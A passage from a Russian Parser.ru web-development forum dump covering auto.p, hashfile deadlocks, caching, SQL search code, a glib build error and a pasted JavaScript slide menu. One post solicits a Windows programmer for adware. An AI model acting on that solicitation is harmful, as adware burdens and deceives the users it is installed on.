[quot]- ну зачем мне несколько @main[]? у меня есть один @main[] в /_doc.html, что тут сложного-то? в auto.p тоже почти ничего нету, все в классе.[/quot]\
\
Ну я где-то так и понял, только Вы меня с толку сбили фразой \"не index\". Я думал - может он функционально не \"index\" - 404.htm например.\
\
Только у меня теперь вот какой вопрос возник:\
Если сайт состоит из одной единственной страницы, то зачем тогда auto.p? Почему не взять и не написать всё прямо в index.htm?\
Может быть есть какие-то подводные камни, о которых я не подумал?\
\
Зачем лишний огород городить?"
"44408","[quot]\
Вы имели в виду имя, а не расширение?\
[/quot]\
\
нет, я имел ввиду и имя и расширение. что хотите - то и пишите. вы царь и бог вашего сайта. вы можете назначить парсер обработчиком любого файла. вы можете написать любой рерайт.\
\
[quot]\
Я думал - может он функционально не \"index\"\
[/quot]\
\
я не знаю что такое \"функционально как индекс\".\
\
[quot]\
Если сайт состоит из одной единственной страницы, то зачем тогда auto.p?\
[/quot]\
\
вау! круто! да кто-же вас заставлял создавать auto.p? :)\
сделаете все в одном месте (кстати, вы в курсе что файлов auto.p может быть несколько, и в определенных случаях будет обрабатываться не один auto.p, а несколько?)\
\
только оставьте в покое конфигурационный auto.p, у него задачи обычно другие... по крайней мере мы рекомендуем чтобы они были другими, но вы опять-же можете сделать как вы желаете."
"44409","мы поставим ссылку на вашу страничку: так и вам будет удобнее обновлять и людям удобнее следить за вашими успехами."
"44410","Приведенный ниже код не выдает результата.\
Я уже много раз пробовал его менять, но к сожалению это не дало резулльтата. Может кто-то свежим глазом поймет где я ошибся...\
Спасибо!\
###\
#Поиск по БД\
###\
@search[]\
^if(def $form:search ){\
$search[^table::sql{\
	SELECT \
		`id`, `name`, `phone`, `mobilephone`, `adress`, `email` \
	FROM \
		`contacts` \
   	WHERE\
      ^if(def $form:name){\
      MATCH (name) AGAINST ('$form:name')\
      }\
      ^if($form:group != 1){\
  ^if(def $form:name){AND} \
	id='$form:cardnumber' \
      }\
   }]\
$items[^table::sql{\
	SELECT \
		`name`, `summ`, `class` \
	FROM \
		`operations` \
   	WHERE customer_id='$search.id'\
}]\
###\
#Форма поиска\
###\
<h1>Поиск</h1>\
<form  method=\"post\" type=\"post\"><fieldset><legend></legend>\
<label>По имени:</label>\
<br />\
<input name=\"name\" />\
<br />\
<label>по номеру карты:</label><br /><input name=\"cardnumber\" />\
<br />\
<input type=\"submit\" value=\"Найти\" name=\"search\" /></fieldset>\
###\
#Выведение результатов поиска\
###\
^search.menu{\
###\
#Вывести всех найденных\
###\
^if(!def $form:id){\
<div id=\"customer\">\
<a href=\"?page=search&id=$search.id\"><h2>$search.name</h2><p>Номер карты:&nbsp^;$search.id</p><p>$search.phone</p><p>$search.mobilephone</a>\
</div>\
}{\
###\
#Показать детали\
###\
<div id=\"details\"><h1>$search.name</h1><p>$search.phone</p><p>$search.mobilephone</p>$search.adress<p></p><p><a href=\"$search.email\">$search.email</a></p></div>\
}\
###\
}\
###\
#Результаты выведены\
###\
}\
###\
#Конец поиска"
"44411","Вот такая ошибка выскакивает время от времени при загрузки странички с удаленного хттп сервера\
\
Что посоветуете?"
"44414","Я думаю это единственный выход из моей ситуации. Проблема не решилась, парсер не хочет видеть ни кодировок, ни драйверов.\
ПРобовал дефолтный файл.... ну никак.\
А вдруг хостинг Г.??"
"44415","1. Что мешает мне проверять данные при генерации $params?\
2. Новости и так вводит «секретарша» ;)\
3. Не понял, что за помошние?.."
"44421","Полнотекстный поиск может не найти запись которая совпадает на 100%.\
\
Читать мануал по полнотекстовому поиску..."
"44423","Все, разобрался, спасибо всем помощь, все оказалось просто, это я что-то тупил:))"
"44424","1. а зачем? все толжно быть одинаково, чтобы не было головной боли и попыток вспомнить что где и как.\
\
2. э. и она ни разу не вводила незакрытый или запрещенный тэг/аттрибут? если вводила и все равно все ок, значит вы _уже_ предприняли какие-то шаги для этого, вместо использования стандартных механизмов.\
\
3. я имел ввиду \"помошника\", который может писать код, но не до конца знает тонкостей вашей организации.\
\
\
самое плохае в этом то, что вы меняете стандартное и очень хорошее поведение парсера. например у меня весь код - в обработчиках. и раньше было сделано также как и у вас. и вот приходил новый человек, который уже знал парсер, и который садился писать код вместо меня. он писал <name>$form:name</name> логично расчитывая, что т.к. из form приходят гразные данные, парсер сам их поправит если что. ему и в голову не приходило делать тут дополнительные защиты в виде taint."
"44425","Твой метод может выдать только если поля формы не пустые (определены).\
Значит если ничего не выводится, то поля пустые.\
\
Убедись, что поля не пустые перед запуском метода."
"44426","Есть такая функция DATE_FORMAT(date, format), которая форматирует величину date так как ты пожелаеш. Желание загадываешь в параметре format . Например,\
\
%d  день месяца (00..31)\
%e  день месяца (0..31)\
\
См. документацию"
"44427","[quot]вау! круто! да кто-же вас заставлял создавать auto.p? :)[/quot]\
\
Да никто вроде не заставлял. Пусть только попробуют.\
Просто при написании своего движка я делаю попытку забраться на плечи гигантов (это я Вас имею в виду, если Вы ещё не догадались :)\
Для того, чтобы моя попытка увенчалась успехом, мне нужно более-менее разобраться в общем устройстве Вашего Engine и понять почему Вы делаете именно так, а не иначе.\
\
[quot]кстати, вы в курсе что файлов auto.p может быть несколько, и в определенных случаях будет обрабатываться не один auto.p, а несколько?[/quot]\
\
Да, спасибо, я в курсе."
"44428","проблема решена"
"44429","Есть ли в парсере аналог мехинизма сессий из PHP?"
"44430","- если очень надо - пишется за 60 минут или находится в форуме (знаю что обсуждалось и приводился код. не знаю насколько он рабочий, т.к. мне это не требовалось ни разу, соответственно я не проверял его)."
"44431","почитайте про hashfile, подключите воображение и потратьте двадцать минут.\
\
уверен, вы добьётесь необходимого."
"44432","Как я уже писал. Сайт некоторое время работает и через несколько дней перестает открываться. Тоесть парсер перестает реагировать на команды. Помогает только перезагрузка апача.\
\
Смотрел время выполнение  скриптов,  использование памяти. все по мелочи!\
\
Вот что мне написал админ:\
[i] !Подвисает Ваш парсер, который Вы установили на Вашем аккаунте.Администратор рекомендует его заменить на другой,т.к. данная версия вызывает множество процессов, которые не закрываются. Иначе мы будем вынуждены ввести для Вашего аккаунталимит на количество процессов.[/i]\
\
Есть подозрение что глючит хэш фаил который у меня очень активно используеться. Туда пишеться логин польщователя при авторизации. И еще кое что.\
\
Может я не так с ним управляюсь?"
"44433","[quot]т.к. данная версия вызывает множество процессов, которые не закрываются.[/quot]\
из документации по ^hashfile::open[]:\
[quot]Замечание: не открывайте файл дважды, ведь если вы запишете в него что-то, то второй hashfile::open будет ждать его закрытия, которое никогда не произойдет (произойдет так называемый deadlock).[/quot]"
"44434","это то там написано. я поэтому и подумал. Но как не открыть дважды если как я понимаю. получаеться так:\
один пользователь зашел открылся хешфаил и  начало сохраняться и одновременно с ним другой тоже вошел и у него тоже открываеться хэш фаил. \
\
а отсюда и походу глюк.\
\
Теоретически должно ждать пока у того закроеться.\
\
Короче походу придеться отказаться от хэш файла."
"44435","если зашел второй, он подождет. Но когда тот же самый пользователь пробует открыть файл повторно, он вынужден ждать, пока \"предыдущий\" его закроет. А так как \"предыдущий\" это он сам и есть, ждать придется долго :)"
"44436","тоесть как я понял происходит так.\
\
пользователь вашол и открывает страницу и идут такие процессы.\
 он открыл хэш и считал к примеру дату какую нибудь и проверил еще чтонибудь. \
Далее у него к примеру сохранился логин в хэше.\
Далее еще что нибудь сохранил в хэш и страница у него появилась.  Все хэш я так понимаю должен закрыться. Я так понимаю так делать можно.\
\
Нельзя верояно делать так.\
Пользователь открывает страницу. У него открылся хэш и он считал дату. Далее еще раз иде т команда открытия хэш и туда записыветься логин.\
\
Неужели это и есть открытые процессы которые не закрываються. самое интересное что вроде как я и открываю один раз. Кстати строка открытия у меня висит в главном auto.p где глобальные переменные. Но может я гдето еще раз поставил. надо проверить."
"44437","парсер установлен как модуль апач? поставьте cgi версию.\
\
вообще-то повторное открытие одного и того-же хешфайла приводит к  моментальной ошибке."
"44438","[b]Что делаю?[/b]\
[code]\
./configure --prefix=$HOME/gnome\
make install\
[/code]\
[b]Что получаю?[/b]\
[code]\
gstrfuncs.c: In function `g_printf_string_upper_bound':\
gstrfuncs.c:870: error: syntax error before string constant\
gstrfuncs.c:1037: error: syntax error before string constant\
gstrfuncs.c:1080: error: syntax error before string constant\
gstrfuncs.c:1111: error: syntax error before string constant\
make[1]: *** [gstrfuncs.lo] Error 1\
make[1]: Leaving directory `/home/beave/glib-1.2.10'\
make: *** [install-recursive] Error 1\
[/code]\
[b]Что делать дальше?[/b]\
Неизвестно... Кто сталкивался с подобным или имеет понятие о данной ошибке, прошу, пожалуста, помогите разобраться...\
[b]Что делал до того, как написал сообщение на форуме Parser?[/b]\
Искал подобную ошибку в Яндексе и Google. Нашёл много интересного, но без решения моей проблемы.\
\
\
[i]Постскриптум...[/i]\
[code]\
[beave@localhost glib-1.2.10]$ uname -a\
Linux localhost 2.6.11-6mdk-i686-up-4GB #1 Tue Mar 22 15:51:40 CET 2005 i686 Intel(R) Pentium(R) M processor 1.60GHz unknown GNU/Linux\
[beave@localhost glib-1.2.10]$ gcc -v\
Reading specs from /usr/lib/gcc/i586-mandrake-linux-gnu/3.4.3/specs\
Configured with: ../configure --prefix=/usr --libexecdir=/usr/lib --with-slibdir=/lib --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --enable-long-long --enable-__cxa_atexit --enable-clocale=gnu --disable-libunwind-exceptions --enable-languages=c,c++,ada,f77,objc,java --host=i586-mandrake-linux-gnu --with-system-zlib\
Thread model: posix\
gcc version 3.4.3 (Mandrakelinux 10.2 3.4.3-7mdk)\
[/code]"
"44439","Я нашел несколько мест где два раза открывался хэш. \
\
Ошибки кстати не возникало.\
\
Все работало как будто так и надо.\
\
А парсер и стоит как cgi.\
Самое интересное. Что такой глюк если произойдет, то затрагивает он только один домен. если создать поддомен. Там будет все работать. А на основном нет."
"44440","2. Она не вводит тэги, пользуется WYSIWIG-редактором ;)"
"44441","[code]\
^if(def $node.nodeType){...}\
^if($node.nodeType is string){...}\
^if($node.nodeType is junction){...}\
[/code]\
Все это не помогает.\
Выдает ошибку:\
 'nodeType' string method not found [parser.runtime]"
"44442","http://www.parser.ru/docs/lang/dom_nodetype.htm\
\
Может быть:\
[code]\
^if(^node.nodeType.int(0)){\
...\
}\
[/code]"
"44443","Здесь проблема в другом.\
Нужно абстрагироваться от XNode,\
Как быть с тем случаем, если этой переменной вообще не существует, или она есть, но типа String, без дополнительных методов."
"44444","У вас не $node.nodeType может быть строкой или быть неопределенной, а $node. Соответственно, проверять нужно ее на принадлежность к классу xnode, и при положительном ответе смело использовать $node.nodeType."
"44445","Требуется кодер под винду для выполнения моего тех задания.\
Тематика -  адвар софт.\
Для контакта пишите на мыло.\
Оплату гарантирую."
"44446","Каким образом это можно реализовать?"
"44447","http://www.parser.ru/forum/?id=42555"
"44448","http://www.parser.ru/forum/?id=42556"
"44449","...и не напсиать что-то вроде:\
^table.menu{\
^if(^math:frac(^table.line/3)==0){}}\
Не уверен, что будет пахать в таком виде, напишу \"как я думал\". Меню переберает строки табдицы и каждый раз проверяет равен ли остаток от деления номера текущей строки на 3. Если да то выполняет действие, например, добовляет фрагмент ХТМЛ кода. Приемлимо?"
"44451","Я тоже самое практически и делаю (учитывая пост от Kaverdo), только в отдельном методе, чтобы было удобнее пользоваться в том случае, если нужно несколько раз так «извращаться»."
"44452","вы, кажется, адресом ошиблись. вам бы на job.ru..."
"44453","Что-то никак не могу наладить кэширование новостей на пару часов - сами новости берутся с Яндекса и вставляются в страницу. \
\
Пишу так:\
[code]^cache[cache/cache_news](2*60*60){^yandex_news[]}[/code]\
\
В auto.p записано:\
[code]@yandex_news[]\
$file[^file::load[text;include/yandex_news.tmpl]]\
^process[$caller.self]{^taint[as-is][$file.text]}\
[/code]\
\
в файле yandex_news.tmpl - код информера (стили и ссылка на javascript на яндексе)\
\
Проблема в том, что в кэше сохраняется код информера, а не его результат. Как бы сделать так, чтобы в кэше сохранялись сами новости, а не код?"
"44454","вы уверены, что у вас в хеш файле сохраняется именно код, а не результат?\
\
просто у нас кеш интерсивно используется постоянно, и если бы с ним были проблемы - это не осталось бы незамеченным."
"44455","у меня точно такая же проблема ...ос Linux next 2.4.23aa2p"
"44457","может taint надо по-другому делать?\
\
и еще у меня parser не самый свежий - 3.1.1\
\
хотя вроде таких ситуаций я в форуме не нашел"
"44459","Судя по описанию Purple пытается кэшировать не новости, а \"код информера (стили и ссылка на javascript на яндексе)\". Очевидно, что при такой схеме кэширования именно новостей не возможно - Парсер не умеет выполнять JavaScript код, да его, вданном случае, об этом никто и не просит.\
\
p.s. Я дергаю новости c [url=http://news.yandex.ru/export.html]RSS каналов Яндекса[/url], обрабатываю, складываю в кэш и показываю пользователю без проблем. При этом очень помогает возможность принудительно выдавать хэш при ошибках."
"44460","Не стал создавать новую тему ...\
Вопрос такой :\
Хочу поставить форум ( такой как у вас ) всё скачал , подключил , а вывести не получаеться .. \
Как его правильно вывести \
Вывожу так :\
[code] \
^connect[$connect_string]{  \
$gb[^forum::create[$.login[$login]]]\
\
^gb.show_forum[] \
}[/code]\
Выводиться только Фильтр сообщений и больше нечаго ... \
Где моя ошибка ?"
"44462","можно в парсере сделать такую штуку например :\
\
http://lacnic.net/cgi-bin/lacnic/whois?lg=EN?query=82.32.65.11\
или там\
http://ripe.net/fcgi-bin/whois?form_type=simple&full_query_string=&searchtext=88.35.66.77&submit.x=9&submit.y=4?\
\
получить в файл и анализировать, что идет после \"country\"\
\
а можно IP-базу прикрутить\
\
какой метод лучше ?\
\
\
сорри если оффтоп\
"
"44463","Тут (http://www.maxmind.com/app/geoip_country/) есть IP Country база, которую они обновляют бесплатно и подробные инструкции как все это в SQl загнать (http://www.delau.net/php/geoip.html). \
\
По моему должно работать быстрее чем ожидание ответа от чужого сервера и попытка выщемить название страны из результатов."
"44464","потому как если показался фильтр(пока не работает :) ), то единственной проблемой может быть отсутствие данных в таб. forum."
"44466","приведите сколько-то строк вокруг ошибочных мест, укажите \"***\" на ошибочную строку, подумаем вместе."
"44467","попробуйте вписать в него \"bug\", и посмотрите, изменится ли что при обращении к \
http://project/\
?"
"44468","To Sumo:\
Пожалуй, что дело именно в этом...\
Попробую rss (хотя при этом придется использовать parser с поддержкой xml :( )\
\
To Misha v.3\
Конечно, я уверен, что сохраняется именно код!\
Скопировать сейчас не могу (за другим компом), но поверьте: проверял многократно :)"
"44470","Есть страница с результатами поиска (или любая другая динамическая страница, которая меняется очень часто), на которой висят блоки адсенс, который при загрузке дергают страницу еще столько раз, сколько блоков (в худшем случае), при этом тяжелый процесс поиска повторяется снова и снова нагружая сервер. Для этого естественно хорошо использовать кэширование результатов, но надо выбрать имя для кэша. Уникальное для каждого запроса нельзя, так как тогда все файлы заполонят дисковое пространство (они ведь не удаляются?), одно уникальное имя тоже нельзя, так как в часы пик может оказаться, что посетителю может выдаваться результаты другого посетителя (так как меньше 10 секунд не стоит делать время хранения кэша).\
\
Т.е. надо иметь такие имена файлов, которые были бы использованные вновь и вновь по истечении определенного промежуткак времени (скажем больше 10 минут) и уникальные на маленьком промежутке времени (до минуты). Any ideas?"
"44472","по расписанию запускают unix команду, стирающую старые/ненужные файлы.\
\
[code]\
find /path/to/storage -mtime +1 -exec rm {} \\;\
[/code]"
"44473","Возможно это запрещено их правилами... У других систем встречается, что на каждый запрос пользователя должен происходить запрос к рекламному серверу..."
"44474","Crawl - я тебе ответил у тебя на сайте посомтри пожалуйста ...\
Так должна быть кнопка добавить , или хотяб поле зарегистироваться .. \
Думаю это тоже как-то выводиться .. \
Пробывал подбором не получилось , подскажите в чем проблема теперь ?"
"44475","не не, адсенс тут ни трогается ни коим боком. это просто внутреняя оптимизация работы сайта, в общем то для чего нужен ^cache :)\
\
но реально в голову пока приходит работа только через внешний счетчик или глобальную переменную которая была бы доступна между сессиями запуска cgi (ориентируюсь на худший вариант)."
"44476","на выходе та же самая 500 ошибка, что и при вызове test.html"
"44477","Не совсем понятно, что вы хотите получить. Как я понял: есть результаты поиска, на них висит Адсенс, который при загрузке релоадит страницу. Вы хотите закешировать результаты поиска и нужно уникальное имя для кеша. Так?\
\
Если так, то имя для кеша: ^math:md5[запрос]"
"44478","возможно ли это вообще?"
"44479","все так.. но если у меня 10000 разных запросов - то получаю 10000 файлов кэша, что хотелось бы избежать."
"44480","Создал Вертикальное открывающиеся меню. При загрузке браузерами работает если открывается как страница католога на диске, а если загружаю как страницу с вебсервера Apache то жаваскрипт не выполняется т.е. пустота.\
\
Подскажите в чем проблема если кто знает!"
"44481","<style>span.yandex_date {font-size: 85%; margin-right:0.5em;} div.yandex_informer	{font-size: 85%; margin-bottom: 0.3em;} div.yandex_title 	{font-size: 100%; margin-bottom: 0.5em; }	div.yandex_title a	{ }	div.yandex_allnews	{font-size: 80%; margin-top: 0.3em;} div.yandex_allnews	{font-size: 80%; margin-top: 0.3em;}	div.yandex_annotation		{font-size: 85%; margin-bottom: 0.5em;}</style><script src='http://news.yandex.ru/common.js'></script><script src='http://news.yandex.ru/mobile5.js'></script><script> str='<div class=yandex_title><a href=http://news.yandex.ru><b>Яндекс.Новости</b></a></div>'; if ((aObj=eval('m_mobile')) && (aObj.length>0)){for (j=0;j<aObj.length;j++) { \
str+='<div><span class=yandex_date>'+aObj[j].time+'</span>&nbsp;<span class=yandex_news_title><a href='+aObj[j].url+'>'+aObj[j].title+'</a></span></div><div class=yandex_annotation>'+aObj[j].descr+'</div>';}} str+='<div class=yandex_allnews><a href=http://news.yandex.ru>Все новости на '+update_time+' мск  &gt;&gt;</a></div>';  document.write(str);</script>"
"44482","произойдёт rollback.\
\
или цикл ваш перести внутрь ^connect.\
\
или оформить цикл в виде вороха запросов в виде\
[code]\
^void:sql{begin\
first^;\
second^;\
third^;\
end^;\
}\
[/code]\
тогда ворох команд выполнится уже на сервере.\
(текст можно подготовить отдельно в цикле)"
"44483","из 20 минут на каждую минуту отдельное число.\
подойдёт?"
"44484","у меня была примерно такая задача, только там были немного специфические \"результаты поиска\", и я делал так:\
\
первый вариант (ПАФ о нем уже писал): не обращаю внимания на файлики и создаю их сотнями, но периодически приходит скрипт который грохает старое\
\
текущий вариант: храню все с хешфайле. но у меня небольшой объем резальтатов, т.е. я в хешфайл кладу уже выбранные из страницы с результатами данные. у меня они запросто влазят в 8 KB. соответственно в хешфайле старое очищаю сам с помощью ^hashfile.foreach[k;]{}\
\
мне второй вариант нравится больше: нет кучи файлов, хранятся только нужные мне значения, легко работать парсером с такими данными."
"44491","автор вопросо на мой взгял имел ввиду скрипт меню примерно такое же как на [url=\"http://www.alfabank-express.ru/remoteaccess/atm/\"]этом сайте[/url]"
"44492","На всякий случай обновил gcc до 4.0.1.\
[code]\
Using built-in specs.\
Target: i586-mandriva-linux-gnu\
Configured with: ../configure --prefix=/usr --libexecdir=/usr/lib --with-slibdir=/lib --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --enable-languages=c,c++,ada,f95,objc,java --host=i586-mandriva-linux-gnu --with-system-zlib --enable-long-long --enable-__cxa_atexit --enable-clocale=gnu --disable-libunwind-exceptions --enable-java-awt=gtk --with-java-home=/usr/lib/jvm/java-1.4.2-gcj-1.4.2.0/jre --enable-gtk-cairo --disable-libjava-multilib\
Thread model: posix\
gcc version 4.0.1 (4.0.1-5mdk for Mandriva Linux release 2006.0)\
[/code]\
Но ситуация такая же... Впринципе, я и не сомневался, что так и будет.\
\
[b]Об ошибке.[/b]\
[code]\
make  all-recursive\
make[1]: Entering directory `/home/beave/glib-1.2.10'\
Making all in .\
make[2]: Entering directory `/home/beave/glib-1.2.10'\
CONFIG_FILES= CONFIG_HEADERS= CONFIG_OTHER=glibconfig.h ./config.status\
creating glibconfig.h\
glibconfig.h is unchanged\
echo timestamp > stamp-gc-h\
/bin/sh ./libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I. -DG_LOG_DOMAIN=g_log_domain_glib     -g -O2 -Wall  -D_REENTRANT -c gstrfuncs.c\
mkdir .libs\
gcc -DHAVE_CONFIG_H -I. -I. -I. -DG_LOG_DOMAIN=g_log_domain_glib -g -O2 -Wall -D_REENTRANT -c gstrfuncs.c  -fPIC -DPIC -o .libs/gstrfuncs.lo\
gstrfuncs.c: In function 'g_printf_string_upper_bound':\
gstrfuncs.c:870: error: syntax error before string constant\
gstrfuncs.c:1037: error: syntax error before string constant\
gstrfuncs.c:1080: error: syntax error before string constant\
gstrfuncs.c:1111: error: syntax error before string constant\
gstrfuncs.c: In function 'g_strdown':\
gstrfuncs.c:1139: warning: pointer targets in assignment differ in signedness\
gstrfuncs.c: In function 'g_strup':\
gstrfuncs.c:1155: warning: pointer targets in assignment differ in signedness\
gstrfuncs.c: In function 'g_strchug':\
gstrfuncs.c:1314: warning: pointer targets in assignment differ in signedness\
gstrfuncs.c:1317: warning: pointer targets in passing argument 1 of 'strlen' differ in signedness\
make[2]: *** [gstrfuncs.lo] Error 1\
make[2]: Leaving directory `/home/beave/glib-1.2.10'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/beave/glib-1.2.10'\
make: *** [all-recursive-am] Error 2\
\
[/code]"
"44493","Вот тут  [url=\"http://www.parser.ru/docs/lang/opprocess.htm\"]http://www.parser.ru/docs/lang/opprocess.htm[/url]\
\
Ї	$.main[новое имя для метода main, описанного в коде строки[b]}[/b]  \
Ї	$.file[имя файла, из которого взята данная строка[b]}[/b]\
\
так и должно быть?"
"44494","Сорри, вот и код!?!\
\
P.S. Код будет упрощен как только разберусь что точно будет ненужно.\
\
P.p.S. Приложил бы и картинки еслибы можно былобы в данном форуме.\
<html>\
<head>\
<title>protoplex.ru - JavaScript - SlideMenu </title>\
<META http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
\
<!-- HEAD START HERE -->\
\
<style type=\"text/css\">\
DIV.clSlide{position:absolute;  ;z-index:10; left:0; width:138; height:22; clip:rect(0,138,22,0); padding:3px;}\
DIV.clSlideSub{position:absolute; ;z-index:10; padding:2px; clip:rect(0,127,20,0); width:127; height:20; left:8; visibility:hidden}\
DIV.clSlideSub2{position:absolute; ;z-index:10; padding:2px; clip:rect(0,118,20,0); width:118; height:20; left:8; visibility:hidden}\
#divSlideCont{position:absolute; z-index:10; left:0; top:100; height:600; width:170; visibility:hidden}\
A.clSlideLinks{font-family:Verdana, Helvetica, Helv; font-size:11px; font-weight:bold; text-decoration:none; color:white}\
A.clSlideSubLinks{font-family:Verdana, Helvetica, Helv; font-size:10px; text-decoration:none; color:Navy}\
A.clSlideSub2Links{font-family:Verdana, Helvetica, Helv; font-size:9px; text-decoration:none; color:Navy} \
</style>\
<script language=\"JavaScript\" type=\"text/javascript\">\
/**********************************************************************************   \
SlideMenu \
*   Copyright (C) 2001 Thomas Brattli\
*   This script was released at protoplex.ru\
*   Visit for more great scripts!\
*   This may be used and changed freely as long as this msg is intact!\
*   We will also appreciate any links you could give us.\
*********************************************************************************/\
\
function lib_bwcheck(){ //Browsercheck (needed)\
	this.ver=navigator.appVersion\
	this.agent=navigator.userAgent\
	this.dom=document.getElementById?1:0\
	this.opera5=this.agent.indexOf(\"Opera 5\")>-1\
	this.ie5=(this.ver.indexOf(\"MSIE 5\")>-1 && this.dom && !this.opera5)?1:0; \
	this.ie6=(this.ver.indexOf(\"MSIE 6\")>-1 && this.dom && !this.opera5)?1:0;\
	this.ie4=(document.all && !this.dom && !this.opera5)?1:0;\
	this.ie=this.ie4||this.ie5||this.ie6\
	this.mac=this.agent.indexOf(\"Mac\")>-1\
	this.ns6=(this.dom && parseInt(this.ver) >= 5) ?1:0; \
	this.ns4=(document.layers && !this.dom)?1:0;\
	this.bw=(this.ie6 || this.ie5 || this.ie4 || this.ns4 || this.ns6 || this.opera5)\
	return this\
}\
var bw=new lib_bwcheck()\
\
\
//Opera didn't seem to like the padding in the layers, it messes up the background-images, so here's a version without it.\
if(bw.opera5) document.write(\"<style>DIV.clSlide{padding:0px; background-image:url(' ')}\\nDIV.clSlideSub{padding:0px; background-image:url(' ')}\\nDIV.clSlideSub2{padding:0px; background-image:url(' ')}</style>\")\
\
/************************************************************************************\
Making cross-browser objects\
************************************************************************************/\
function makeMenuObj(obj,nest){\
	nest=(!nest) ? \"\":'document.'+nest+'.'										\
   	this.css=bw.dom? document.getElementById(obj).style:bw.ie4?document.all[obj].style:bw.ns4?eval(nest+\"document.layers.\" +obj):0;		\
	this.el=bw.dom?document.getElementById(obj):bw.ie4?document.all[obj]:bw.ns4?eval(nest+'document.'+obj):0;	\
	this.ref=bw.dom || bw.ie4? document:bw.ns4?eval(nest+\"document.layers.\" +obj+\".document\"):0;		\
	this.x=(bw.ns4 || bw.ns5)? this.css.left:this.css.offsetLeft;\
	this.y=(bw.ns4 || bw.ns5)? this.css.top:this.css.offsetTop;		\
	this.hideIt=b_hideIt; this.showIt=b_showIt; this.movey=b_movey\
	this.moveIt=b_moveIt; this.moveBy=b_moveBy; this.status=0; \
	this.bgImg=b_bgImg;	this.obj = obj + \"Object\"; eval(this.obj + \"=this\"); \
	this.clipTo=b_clipTo;\
	return this\
}\
function b_showIt(){this.css.visibility=\"visible\"; this.status=1}\
function b_hideIt(){this.css.visibility=\"hidden\"; this.status=0}\
function b_movey(y){this.y=y; this.css.top=this.y}	\
function b_moveIt(x,y){this.x=x; this.y=y; this.css.left=this.x;this.css.top=this.y}\
function b_moveBy(x,y){this.x=this.x+x; this.y=this.y+y; this.css.left=this.x;this.css.top=this.y}\
function b_bgImg(img){if(bw.ie||bw.dom)this.css.backgroundImage=\"url('\"+img+\"')\"\
else this.css.background.src=img\
}\
function b_clipTo(t,r,b,l,w){if(bw.ns4){this.css.clip.top=t;this.css.clip.right=r\
this.css.clip.bottom=b;this.css.clip.left=l\
}else{this.css.clip=\"rect(\"+t+\",\"+r+\",\"+b+\",\"+l+\")\"; if(w){this.css.width=r; this.css.height=b}}}\
/********************************************************************************\
Initiating page, making objects..\
********************************************************************************/\
function SlideMenuInit(){\
	oSlideMenu=new makeMenuObj('divSlideCont')\
	oSlideMenu.moveIt(menux,menuy)\
	oSlide=new Array()\
	for(i=0;i<menus.length;i++){\
		oSlide[i]=new makeMenuObj('divSlide'+i,'divSlideCont')\
		oSlide[i].subs=menus[i].subs\
		oSlide[i].sub=new Array()\
		oSlide[i].moveIt(0,mainheight*i)\
		oSlide[i].starty=oSlide[i].y\
    if(bw.opera) oSlide[i].css.paddingLeft=\"10px\"\
		if(!menus[i].seperator) oSlide[i].bgImg(level0_regular)\
		for(j=0;j<oSlide[i].subs;j++){\
			oSlide[i].sub[j]=new makeMenuObj('divSlideSub'+i+\"_\"+j,'divSlideCont')\
			oSlide[i].sub[j].moveIt(10,oSlide[i].y+subheight*j+between)\
			oSlide[i].sub[j].starty=oSlide[i].sub[j].y\
			oSlide[i][j]=new Array()\
			oSlide[i][j].subs=menus[i][j].subs\
			oSlide[i][j].sub=new Array()\
			img=level1_round\
			if(oSlide[i][j].subs!=0){\
				if(j!=oSlide[i].subs-1) img=level1_sub\
				else img=level1_sub_round\
				oSlide[i].sub[j].css.color=\"white\"\
			}else{\
				if(j!=oSlide[i].subs-1)img=level1_regular\
			}\
			oSlide[i].sub[j].origimg=img\
			oSlide[i].sub[j].bgImg(img)\
			for(a=0;a<oSlide[i][j].subs;a++){\
				oSlide[i][j].sub[a]=new makeMenuObj('divSlideSub'+i+\"_\"+j+\"_\"+a,'divSlideCont')\
				oSlide[i][j].sub[a].moveIt(20,oSlide[i].sub[j].y+subheight*a+between-2)\
				oSlide[i][j].sub[a].starty=oSlide[i][j].sub[a].y			\
				oSlide[i][j][a]=new Array()\
				oSlide[i][j][a].subs=menus[i][j][a].subs\
				oSlide[i][j][a].sub=new Array()\
				if(a!=oSlide[i][j].subs-1) img=level2_regular\
				else img=level2_round\
				oSlide[i][j].sub[a].origimg=img\
				oSlide[i][j].sub[a].bgImg(img)\
			}\
		}\
	}\
	oSlideMenu.showIt()\
}\
/********************************************************************************\
Variables\
********************************************************************************/\
var active=-1;var going;var isthere; var sactive=-1; var sisthere=-1; var s2active=-1; var s2isthere=-1\
/********************************************************************************\
Switch menu function.\
********************************************************************************/\
function swmenu(num,snum,s2num){\
	if(snum!=-1){\
		if(oSlide[num][snum].subs==0) return\
	}\
	if(s2num!=-1){\
		if(oSlide[num][snum][s2num].subs==0) return\
	}\
	if((num!=active || snum!=sactive || s2num!=s2active) && !going){going=true;isthere=0;sisthere=0;moveUp(num,snum,s2num)}\
}\
/********************************************************************************\
Moving the menus upward to their original position.\
********************************************************************************/\
function moveUp(num,snum){\
	if(snum==-1){\
		for(i=0;i<oSlide.length;i++){\
			if(oSlide[i].y>oSlide[i].starty+pxspeed && active!=i) oSlide[i].moveBy(0,-pxspeed)\
			else{if(active!=i) oSlide[i].moveIt(oSlide[i].x,oSlide[i].starty); isthere=i}\
		}\
		\
		if(isthere<oSlide.length-1) setTimeout(\"moveUp(\"+num+\",\"+snum+\")\",timspeed)\
		else swmenu2(num,snum)\
	}else{\
		if(num==oSlide.length-1) isthere=num\
	\
		if(sactive!=-1){ //Is out!\
			//Slide subs\
			j=0\
			for(i=sactive+1;i<oSlide[num].sub.length;i++){\
				j++\
				if(oSlide[num].sub[i].y>oSlide[num].sub[i].starty+pxspeed) oSlide[num].sub[i].moveBy(0,-pxspeed)\
				else{oSlide[num].sub[i].moveIt(oSlide[num].sub[i].x,oSlide[num].sub[i].starty); sisthere=i}\
			}\
			//Slide main\
			for(i=num+1;i<oSlide.length;i++){\
				if(oSlide[i].y>oSlide[i].starty + oSlide[num].sub[sactive].y +subheight*j )  oSlide[i].moveBy(0,-pxspeed)\
				else{oSlide[i].moveIt(oSlide[i].x,oSlide[i].starty + oSlide[num].sub[sactive].y +subheight*j ); isthere=i}\
			}\
